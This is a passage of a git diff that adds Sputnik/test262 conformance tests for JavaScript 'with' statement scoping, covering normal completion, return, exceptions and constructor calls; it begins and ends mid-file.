+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+if(!(value === undefined)){
+ $ERROR('#18: value === undefined. Actual: value ==='+ value );
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T1.js
new file mode 100644
index 000000000..134af702c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.7_T1.js
+ * @description Calling a function within "with" statement declared within the statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ f();
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T2.js
new file mode 100644
index 000000000..3efde0328
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T2.js
@@ -0,0 +1,149 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.7_T2.js
+ * @description Calling a function within "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+ }
+ result = f();
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T3.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T3.js
new file mode 100644
index 000000000..d43395763
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T3.js
@@ -0,0 +1,151 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.7_T3.js
+ * @description Calling a function within "with" statement declared within the statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ return value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ result = f();
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T4.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T4.js
new file mode 100644
index 000000000..9ca70ef1c
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T4.js
@@ -0,0 +1,153 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.7_T4.js
+ * @description Calling a function within "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ throw value;
+ }
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === "value")){
+ $ERROR('#0: result === "value". Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === "x2")){
+ $ERROR('#2: p2 === "x2". Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T5.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T5.js
new file mode 100644
index 000000000..d7070388b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.7_T5.js
@@ -0,0 +1,155 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.7_T5.js
+ * @description Calling a function within "with" statement declared within the statement, leading to completion by exception
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+try {
+ with(myObj){
+ var f = function(){
+ throw value;
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ f();
+ }
+} catch(e){
+ result = e;
+}
+
+if(!(result === undefined)){
+ $ERROR('#0: result === undefined. Actual: result ==='+ result );
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+try {
+ p5;
+ $ERROR('#5: p5 is not defined');
+} catch(e) {
+}
+
+if(!(myObj.p1 === "a")){
+ $ERROR('#6: myObj.p1 === "a". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === "c")){
+ $ERROR('#8: myObj.p3 === "c". Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt === "parseInt")){
+ $ERROR('#11: myObj.parseInt === "parseInt". Actual: myObj.parseInt ==='+ myObj.parseInt );
+}
+
+if(!(st_NaN === "NaN")){
+ $ERROR('#12: st_NaN === "NaN". Actual: st_NaN ==='+ st_NaN );
+}
+
+if(!(st_Infinity === "Infinity")){
+ $ERROR('#13: st_Infinity === "Infinity". Actual: st_Infinity ==='+ st_Infinity );
+}
+
+if(!(st_eval === "eval")){
+ $ERROR('#14: st_eval === "eval". Actual: st_eval ==='+ st_eval );
+}
+
+if(!(st_parseFloat === "parseFloat")){
+ $ERROR('#15: st_parseFloat === "parseFloat". Actual: st_parseFloat ==='+ st_parseFloat );
+}
+
+if(!(st_isNaN === "isNaN")){
+ $ERROR('#16: st_isNaN === "isNaN". Actual: st_isNaN ==='+ st_isNaN );
+}
+
+if(!(st_isFinite === "isFinite")){
+ $ERROR('#17: st_isFinite === "isFinite". Actual: st_isFinite ==='+ st_isFinite );
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T1.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T1.js
new file mode 100644
index 000000000..73519377b
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T1.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.8_T1.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ }
+ var obj = new f();
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
+if(!(st_NaN === "obj_NaN")){
+ $ERROR('#12: myObj.NaN !== NaN');
+}
+
+if(!(st_Infinity !== Infinity)){
+ $ERROR('#13: myObj.Infinity !== Infinity');
+}
+
+if(!(st_eval !== eval)){
+ $ERROR('#14: myObj.eval !== eval');
+}
+
+if(!(st_parseFloat !== parseFloat)){
+ $ERROR('#15: myObj.parseFloat !== parseFloat');
+}
+
+if(!(st_isNaN !== isNaN)){
+ $ERROR('#16: myObj.isNaN !== isNaN');
+}
+
+if(!(st_isFinite !== isFinite)){
+ $ERROR('#17: myObj.isFinite !== isFinite');
+}
+
+try{
+ value;
+ $ERROR('#18: value is not defined');
+}
+catch(e){
+}
+
+if(!(myObj.value === "myObj_value")){
+ $ERROR('#19: myObj.value === "myObj_value". Actual: myObj.value ==='+ myObj.value );
+}
+
diff --git a/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T2.js b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T2.js
new file mode 100644
index 000000000..fd81d2bfc
--- /dev/null
+++ b/js/src/tests/test262/ch12/12.10/S12.10_A1.8_T2.js
@@ -0,0 +1,144 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * The with statement adds a computed object to the front of the
+ * scope chain of the current execution context
+ *
+ * @path ch12/12.10/S12.10_A1.8_T2.js
+ * @description Declaring function constructor within "with" statement, leading to normal completion by "return"
+ * @noStrict
+ */
+
+this.p1 = 1;
+this.p2 = 2;
+this.p3 = 3;
+var result = "result";
+var myObj = {p1: 'a',
+ p2: 'b',
+ p3: 'c',
+ value: 'myObj_value',
+ valueOf : function(){return 'obj_valueOf';},
+ parseInt : function(){return 'obj_parseInt';},
+ NaN : 'obj_NaN',
+ Infinity : 'obj_Infinity',
+ eval : function(){return 'obj_eval';},
+ parseFloat : function(){return 'obj_parseFloat';},
+ isNaN : function(){return 'obj_isNaN';},
+ isFinite : function(){return 'obj_isFinite';}
+}
+var del;
+var st_p1 = "p1";
+var st_p2 = "p2";
+var st_p3 = "p3";
+var st_parseInt = "parseInt";
+var st_NaN = "NaN";
+var st_Infinity = "Infinity";
+var st_eval = "eval";
+var st_parseFloat = "parseFloat";
+var st_isNaN = "isNaN";
+var st_isFinite = "isFinite";
+
+with(myObj){
+ var f = function(){
+ st_p1 = p1;
+ st_p2 = p2;
+ st_p3 = p3;
+ st_parseInt = parseInt;
+ st_NaN = NaN;
+ st_Infinity = Infinity;
+ st_eval = eval;
+ st_parseFloat = parseFloat;
+ st_isNaN = isNaN;
+ st_isFinite = isFinite;
+ p1 = 'x1';
+ this.p2 = 'x2';
+ del = delete p3;
+ var p4 = 'x4';
+ p5 = 'x5';
+ var value = 'value';
+ return value;
+ }
+ var obj = new f();
+}
+
+if(!(p1 === 1)){
+ $ERROR('#1: p1 === 1. Actual: p1 ==='+ p1 );
+}
+
+if(!(p2 === 2)){
+ $ERROR('#2: p2 === 2. Actual: p2 ==='+ p2 );
+}
+
+if(!(p3 === 3)){
+ $ERROR('#3: p3 === 3. Actual: p3 ==='+ p3 );
+}
+try {
+ p4;
+ $ERROR('#4: p4 is not defined');
+} catch(e) {
+}
+
+if(!(p5 === "x5")){
+ $ERROR('#5: p5 === "x5". Actual: p5 ==='+ p5 );
+}
+
+if(!(myObj.p1 === "x1")){
+ $ERROR('#6: myObj.p1 === "x1". Actual: myObj.p1 ==='+ myObj.p1 );
+}
+
+if(!(myObj.p2 === "b")){
+ $ERROR('#7: myObj.p2 === "b". Actual: myObj.p2 ==='+ myObj.p2 );
+}
+
+if(!(myObj.p3 === undefined)){
+ $ERROR('#8: myObj.p3 === undefined. Actual: myObj.p3 ==='+ myObj.p3 );
+}
+
+if(!(myObj.p4 === undefined)){
+ $ERROR('#9: myObj.p4 === undefined. Actual: myObj.p4 ==='+ myObj.p4 );
+}
+
+if(!(myObj.p5 === undefined)){
+ $ERROR('#10: myObj.p5 === undefined. Actual: myObj.p5 ==='+ myObj.p5 );
+}
+
+if(!(st_parseInt !== parseInt)){
+ $ERROR('#11: myObj.parseInt !== parseInt');
+}
+
